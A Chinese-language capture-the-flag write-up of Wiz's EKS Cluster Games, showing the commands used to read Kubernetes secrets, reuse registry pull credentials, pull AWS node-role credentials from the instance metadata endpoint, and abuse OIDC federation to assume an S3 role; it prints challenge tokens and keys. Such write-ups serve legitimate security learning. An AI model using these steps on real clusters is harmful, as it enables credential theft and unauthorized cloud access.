Wiz New challenge EKSClusterGame Writesup First Post: 2023-11-06 Last Update: 2024-06-28 Word Count: 3.5k Read Time: 16min
TLDR __attribute__((constructor)) 研究云安全的 wiz 公司发布了新一个关于 AWS 云上集群 EKS 的挑战赛 EKSClusterGame 。和之前 BigIAM Challenge (纯粹的云服务商攻防)略有不同,这次的挑战赛更加专注于 k8s 云原生利用以及集群服务 AWS 这类云服务的联邦攻击手段。
题外话,知道这个小游戏也是因为关注了 kubecon 2023 Shanghai 那会儿和议题 ETCD 后利用的演讲者 @LoBuHi (from NCC Group) 的推特,发现最近出了新的比赛。
同时,这次 game 中,他也帮助了我很多。
main() Level1: Secret 权限很简单就是当前命名空间(NS)下的 secrets get list 权限
非常简单 直接一条指令把 secret 中的数据拿出来即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 kubectl get secrets -o yaml apiVersion: v1 items: - apiVersion: v1 data: flag: d2l6X2Vrc19jaGFs{base64 encode data}lZF9zZWNyZXRfYWNjZXNzfQ== kind: Secret metadata: creationTimestamp: "2023-11-01T13:02:08Z" name: log-rotate namespace: challenge1 resourceVersion: "890951" uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c type : Opaque kind: List metadata: resourceVersion: ""
不过需要注意的是 secrets 中的值是经过 base64 编码的
浅浅的解一下
1 wiz_eks_challenge {omg_over_privileged_secret_access}
Level2: ImageInspection 第二题开始贴合实战场景了,我们具有的权限为
1 2 pod: [get , list]secret: get
这个权限下,我们无法列出 secrets,具体的 list get 的区别可以看看 stackoverflow 社区的小讲解 https://stackoverflow.com/questions/58159866/get-vs-list-in-kubernetes-rbac
所以我们可以先查看一下 pod 里有什么先
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 kubectl get pods -o yaml apiVersion: v1 items: - apiVersion: v1 kind: Pod metadata: .... name: database-pod-2c9b3a4e namespace: challenge2 spec: containers: - image: eksclustergames/base_ext_image imagePullPolicy: Always name: my-container ...... imagePullSecrets: - name: registry-pull-secrets-780bab1d nodeName: ip-192-168-21-50.us-west-1.compute.internal volumes: - name: kube-api-access-cq4m2 projected: defaultMode: 420 sources: - serviceAccountToken: expirationSeconds: 3607 path: token ......
可以发现这里只有一个 pod,并且有 imagePullSecret 字段。 直接去获取对应的 secret 进行解密处理。登陆 docker 后,pull 当前 pod 的 image
1 2 3 4 5 6 7 8 kubectl get secrets registry-pull-secrets-780b ab1d -o yaml [base64 decoded ] {"auths" : {"index.docker.io/v1/" : {"auth" : "ZWtzY2x1c3RlVI4NW1H{base64 enode}w==" }}}# reuse the cred docker login -u eksclustergames Password: dckr_pat_YtncV-R85mAAAAAAAACo
docker 登陆完成后,pull 当前 pod 的 images
1 docker pull docker.io/eksclustergames/ base_ext_image
审计整个 image 创建历史
1 2 3 4 5 6 7 docker history add093cd268d --no -trunc # no trunc 防止过长的字符串被切割成小段 IMAGE CREATED CREATED BY SIZE COMMENTsha256 :add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867 4 days ago CMD ["/bin/sleep" "3133337" ] 0 B buildkit.dockerfile.v0<missing> 4 days ago RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' > /flag.txt # buildkit 124 B buildkit.dockerfile.v0<missing> 3 months ago /bin/sh -c #(nop) CMD ["sh" ] 0 B <missing> 3 months ago /bin/sh -c #(nop) ADD file :7 e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / 4.26 MB
1 wiz_eks_challenge {nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
Other found Kubernetes service account changes with version
1.20(含 1.20)之前的版本,在创建 sa 时会自动创建一个 secret,然后这个会把这个 secret 通过投射卷挂载到 pod 里,该 secret 里面包含的 token 是永久有效的。
1.21~1.23 版本,在创建 sa 时也会自动创建 secret,但是在 pod 里并不会使用 secret 里的 token,而是由 kubelet 到 TokenRequest API 去申请一个 token,该 token 默认有效期为一年,但是 pod 每一个小时会更新一次 token。
1.24 版本及以上,在创建 sa 时不再自动创建 secret 了,只保留由 kubelet 到 TokenRequest API 去申请 token
Level3: Attack ECR 这里我们具有的权限为
需要注意的是 我们当前环境存在于 pod 中,而 pod 存在于 eks 中,也在 aws 上 ,这意味着我们可以尝试探索一下 是否存在 eks 绑定 role 的情况。
通过探测 http://169.254.169.254/latest/meta-data/iam/security-credentials/
可以获知以下 endpoint
1 2 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole {"AccessKeyId" :"ASIA2A[AKID]XMYUFF5J" ,"Expiration" :"2023-11-03 10:24:09+00:00" ,"SecretAccessKey" :"YPaIqb[AKSK]+I3nF" ,"SessionToken" :"FwoGZX[LONG ST]NrD6dG" }
看看我是谁
1 2 3 4 5 6 7 8 9 10 export AWS_ACCESS_KEY_ID=ASIA[AKID]5Jexport AWS_SECRET_ACCESS_KEY=YPa[AKSK]+I3nFexport AWS_SESSION_TOKEN=Fw[ST]rD6dG aws sts get-caller-identity { "UserId" : "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282" , "Account" : "688655246681" , "Arn" : "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282" }
题目描述希望我们找到 image 并且再次进行审计, 顺带提及 这里为了方便 安装好了 crane ,这次是 2 的升级版。
https://docs.aws.amazon.com/cli/latest/reference/ecr/get-login-password.html
aws 获取 docker 登陆 token 的文档在这里。 参考 example 直接填写,并且将 docker 替换为 crane
Crane 参考本小节下方 other information 的 crane 部分
1 2 3 4 aws ecr get-login-password|crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin 2023/MM/DD HH:mm:ss logged in via /home/user/.docker/config.json
登陆成功后 直接对远程镜像进行解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 { "architecture" : "amd64" , "config" : { "Env" : [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ], "Cmd" : [ "/bin/sleep" , "3133337" ], "ArgsEscaped" : true , "OnBuild" : null }, "created" : "2023-11-01T13:32:07.782534085Z" , "history" : [ { "created" : "2023-07-18T23:19:33.538571854Z" , "created_by" : "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / " }, { "created" : "2023-07-18T23:19:33.655005962Z" , "created_by" : "/bin/sh -c #(nop) CMD [\"sh\"]" , "empty_layer" : true }, { "created" : "2023-11-01T13:32:07.782534085Z" , "created_by" : "RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit" , "comment" : "buildkit.dockerfile.v0" }, { "created" : "2023-11-01T13:32:07.782534085Z" , "created_by" : "CMD [\"/bin/sleep\" \"3133337\"]" , "comment" : "buildkit.dockerfile.v0" , "empty_layer" : true } ], "os" : "linux" , "rootfs" : { "type" : "layers" , "diff_ids" : [ "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f" , "sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5" ] } }
得到 flag
1 wiz_eks_challenge {the_history_of_container_images_could_reveal_the_secrets_to_the_future}
Crane 这是一个类似 docker client 的工具,但是可以处理一些远程的容器镜像的管理
Doc: https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md
CheatSheet 如下
https://github.com/google/go-containerregistry/blob/main/cmd/crane/recipes.md
Level4: AWS to EKS 这部分中的集群内,我们是一个没有任何权限的 服务账号。所以 kubectl 基本无用了,但是这一层解锁了 AWS 凭据。 再看描述,说明需要提权到被限制的 k8s node 节点权限 (EKS层面)
1 kubectl auth can-i --list
习惯性的,先看看我们在 aws 里是谁
1 2 3 4 5 6 7 aws sts get-caller-identity { "UserId" : "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282" , "Account" : "688655246681" , "Arn" : "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282" }
这里的 ARN 可以获知到不少信息
1 2 3 4 5 6 7 8 9 10 11 arn: partition: service: region: account-id: resource-type/resource-idarn: aws: sts::688655246681 :assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i- 0 cb922c6673973282partition: awsservice: stsregion: account-id: 688655246681 resource-type: assumed-role resource-id: eks-challenge-cluster-nodegroup-NodeInstanceRole /i-0 cb922c6673973282 cluster-name: eks-challenge-cluster
检查一下 aws eks 指令下面需要的东西还有能做的事
查询 AWS eks cli 文档
我们的目的是升级 kubectl 交互的权限,可以找到文章 Hacktricks-Cloud EKS 后利用
method 1 update kubeconfig 这里看起来需要处理一下 kubeconfig 了
整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 describe-cache-parametersapiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.100.0.1 name: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster contexts: - context: cluster: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster user: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster name: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster current-context: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster kind: Config preferences: {}users: - name: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster user: exec: apiVersion: client.authentication.k8s.io/v1beta1 args: - --region - us-west-2 - eks - get-token - --cluster-name - eks-challenge-cluster command: aws env: - name: AWS_ACCESS_KEY_ID value: ASIA2AVYNEVMR5BQAJIY - name: AWS_SECRET_ACCESS_KEY value: eI2Wc1KGCP+7wePJKgHYeM7iqkR0ojLjlsR5cNHm - name: AWS_SESSION_TOKEN value: FwoGZXIvYXdzEDoaDBNUSCM4abbuuVepLyK3AYzIOalPXv44GzNtt2zYb4ukzwkyPMhA2hI2nCuuLJW4+ENOXqdBgJChbyirWoclfV9bGFkcFxFaslXw6Pf405KRk8blXx/iqmQCuGIGXAZomAsp8y6DtVMJ8T7nRKytFcMplBG4N5XWsM8VF8XfVXwskyKn6X37LxUSiqbI4lNRt/OWcxe4lD3MwZODuvUQvm9GhuUHxZi4IiYE2Hkt3HsGKiNM/GCXaMU1nCapjPufufumNx464Cj055mqBjIt+KQHLUq4AsMMmE0baixd2L9DAVhsECSYlx+uhDbEnjYuumPJVyVjfl5YlK0z interactiveMode: IfAvailable provideClusterInfo: false
1 export KUBECONFIG =<above-content.yaml>
Method 2 direct use token 1 2 3 4 5 6 7 8 9 10 aws eks get-token --cluster-name eks-challenge-cluster { "kind" : "ExecCredential" , "apiVersion" : "client.authentication.k8s.io/v1beta1" , "spec" : {}, "status" : { "expirationTimestamp" : "2023-XX-XXTXX:XX:XXX" , "token" : "k8s-aws-v1.aHR0{TOKEN_URL IN BASE64ed}A3OTFhMDI4NjEy" } }
1 alias kubectl= "kubectl --token={status.token k8s-aws-v1.aHR0{TOKEN_URL IN BASE64ed}A3OTFhMDI4NjEy}"
Final 这里我们如果不确定有什么权限可以通过 下面的指令 进行查看
1 2 3 4 5 6 kubectl auth can-i --list Resources Non-Resource URLs Resource Names Verbs pods [] [] [get list] secrets [] [] [get list] serviceaccounts [] [] [get list]
再获取一下 flag
1 kubectl get secrets -o yaml
1 wiz_eks_challenge{only_a_real _pro_can_navigate_IMDS_to_EKS_congrats}
Level5: back AWS with OIDC 这个层级是 Level 4 的更进一步。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 { "Version" : "2012-10-17" , "Statement" : [ { "Effect" : "Allow" , "Principal" : { "Federated" : "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589" , } , "Action" : "sts:AssumeRoleWithWebIdentity" , "Condition" : { "StringEquals" : { "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud" : "sts.amazonaws.com" , } , } , } , ] , } ---{ "Policy" : { "Statement" : [ { "Action" : [ "s3:GetObject" , "s3:ListBucket" ] , "Effect" : "Allow" , "Resource" : [ "arn:aws:s3:::challenge-flag-bucket-3ff1ae2" , "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag" , ] , } , ] , "Version" : "2012-10-17" , } , } ---{ "secrets" : [ "get" , "list" ] , "serviceaccounts" : [ "get" , "list" ] , "pods" : [ "get" , "list" ] , "serviceaccounts/token" : [ "create" ] , }
这里限制更为严格, 通过 L4 提及的 kubectl 权限枚举后可以发现 我们其实只能创建 serviceaccount 名字为 debug-sa 的 token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 Resources Non-Resource URLs Resource Names Verbs serviceaccounts/token [] [debug-sa ] [create ]pods [] [] [get list ]secrets [] [] [get list ]serviceaccounts [] [] [get list ]----- apiVersion: v1 items: - apiVersion: v1 kind: ServiceAccount metadata: annotations: description: This is a dummy service account with empty policy attached eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e creationTimestamp: "2023-10-31T20:07:37Z" name: debug-sa namespace: challenge5 resourceVersion: "671929" uid: 6cb6024a-c4da-47a9-9050-59c8c7079904 - apiVersion: v1 kind: ServiceAccount metadata: annotations: eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role creationTimestamp: "2023-10-31T20:07:34Z" name: s3access-sa namespace: challenge5 resourceVersion: "671916" uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda kind: List metadata: resourceVersion: ""
这里我们重新理解一下我们的环境。
我们可以通过搜索官方给出的 aws 配置中的 oidc aws k8s 等关键词,可以轻松找到错误配置。
当然对方给出的示例一类的内容,有通过创建 Pod 的,手动处理的不多甚至很少。
很显然,在正常情况下,我们是无法使用 kubectl create token 直接生成的 k8s service account 令牌访问 aws(无 audience)。
有人通过创建 pod 绑定服务账户后,成功滥用了它。
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse 【Hacktricks 这里没有写的非常清楚如何利用,但是说明了这里存在这样的漏洞】
既然如此一定有什么办法,让我 通过请求 K8S api 服务, 来委托 k8s 去请求 aws ,并且对 k8s 中的 debug-sa 进行身份验证并获取 aws Web 凭证。这是拿到 aws session 的第一步。
因为这是向 k8s 请求,所以我们需要着重检查 Kubernetes 的文档,直接搜索关键词 OIDC 可能不会有什么结果,这里我们需要注意一些关于在 Kubernetes 中 使用 或 配置 AWS 访问的 OIDC 的信息。我们将注意到一些 Audience 关键词,例如 配置 pod 中的服务账户 这和其他人的文章,题目提供的配置信息是基本重合,我们即使没有接触过“受众” 这一类概念,或许也可以推理得到相同的结果。
1 2 3 4 5 6 7 8 9 10 11 kubectl create token --help example kubectl create token myapp --audience https://example.com ..... Options: --audience=[]: Audience of the requested token. If unset , defaults to requesting a token for use with the Kubernetes API server. May be repeated to request a token valid for multiple audiences. ....
接下来使用方法就非常简单了
1 kubectl create token debug-sa-token --audience sts.amazonaws.com
接下来解决了 aws token 的问题,下一步就是模拟 IAM 权限了
这个稍微查询一下文档基本也问题不大,就是使用 web token 拿到 STS 临时凭据了。
查询 STS 部分文档,可以发现 action::AssumeRoleWithWebIdentity 明确提到 OIDC token 也可以通过这个函数进行鉴权, cli 操作如下 https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html
构建命令
1 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name sessionABC --web-identity-token ${Token Previous Step}
AWS 返回 STS 后,export 成环境变量
直接拷贝出 flag
1 aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag /tmp/flag
1 wiz_eks_challenge {w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
What’s OIDC 官方给出的策略中, OIDC 的配置表明 K8S <=> AWS 之间存在 OIDC 相互的“信任”关系 ,本质上说就是可以通过 OAuth V2 拓展的手段,可以使得 AWS 中的 IAM 用户,角色,权限和 Kubernetes 集群中的用户(服务账户),权限,角色之间相互打通,从一个平台验证到另一个平台。
Summary __attribute__((destructor)) 云服务很大程度上都是在基于凭据的基础上进行的,云对于大部分凭据的使用方法是签名和签名算法。
AKSK AKSKSTS 这两类凭据是云服务和云厂商服务之间交互的重要凭据。
当 AKSK 并不能如预期时获取的时候,云平台云服务之间的角色绑定失误,以及类似的 OAuth 认证信任关系滥用等等,涉及第三方角色权限的机制时 STS token 常常会发挥一些意想不到的作用。 这类是更为复杂更容易隐藏的攻击向量。
当然由于 AWS 一类云服务厂商才是实际存储和保存 IAM 以及账户信任的人,在攻击者没有适当权限的时候,几乎无法枚举对应的关系,对攻击者来说,获取这类信息存在一定的学习成本和对于目标云环境理解的成本的。其信息收集难度,还是比 linpeas linux 本地提权一把索, bloodhound 六级域控管理员 要大很多的。
鸣谢 Thanks Wiz @Wiz.io
LoBuhi @lobuhisec
Finisher Banner
https://eksclustergames.com/finisher/AYwUrrIK